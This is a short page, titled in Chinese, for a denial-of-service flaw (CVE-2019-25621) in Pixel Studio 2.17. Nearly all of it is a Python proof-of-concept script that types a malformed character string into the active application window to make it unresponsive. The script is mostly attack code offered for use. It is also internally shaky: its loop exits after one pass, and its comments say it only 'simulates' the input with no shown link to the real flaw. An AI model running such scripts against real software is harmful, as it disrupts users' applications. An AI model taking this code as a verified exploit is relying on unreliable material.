CVE-2019-25621 Pixel Studio拒绝服务漏洞

# PoC for CVE-2019-25621 - Pixel Studio Denial of Service # This script simulates sending malformed input via keyboard. # Requires the 'keyboard' library (pip install keyboard) import keyboard import time def trigger_dos(): print("Starting PoC for CVE-2019-25621...") print("Please ensure Pixel Studio 2.17 is the active window.") time.sleep(5) try: # Simulate sending a stream of arbitrary/malformed characters # This mimics the 'arbitrary characters' mentioned in the description # that cause the application to become unresponsive. while True: keyboard.write("%&$#@!malformed_input_data") keyboard.press_and_release('enter') # Breaking after a few iterations to prevent freezing the test machine entirely # In a real crash scenario, the target app stops before this. break except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": trigger_dos()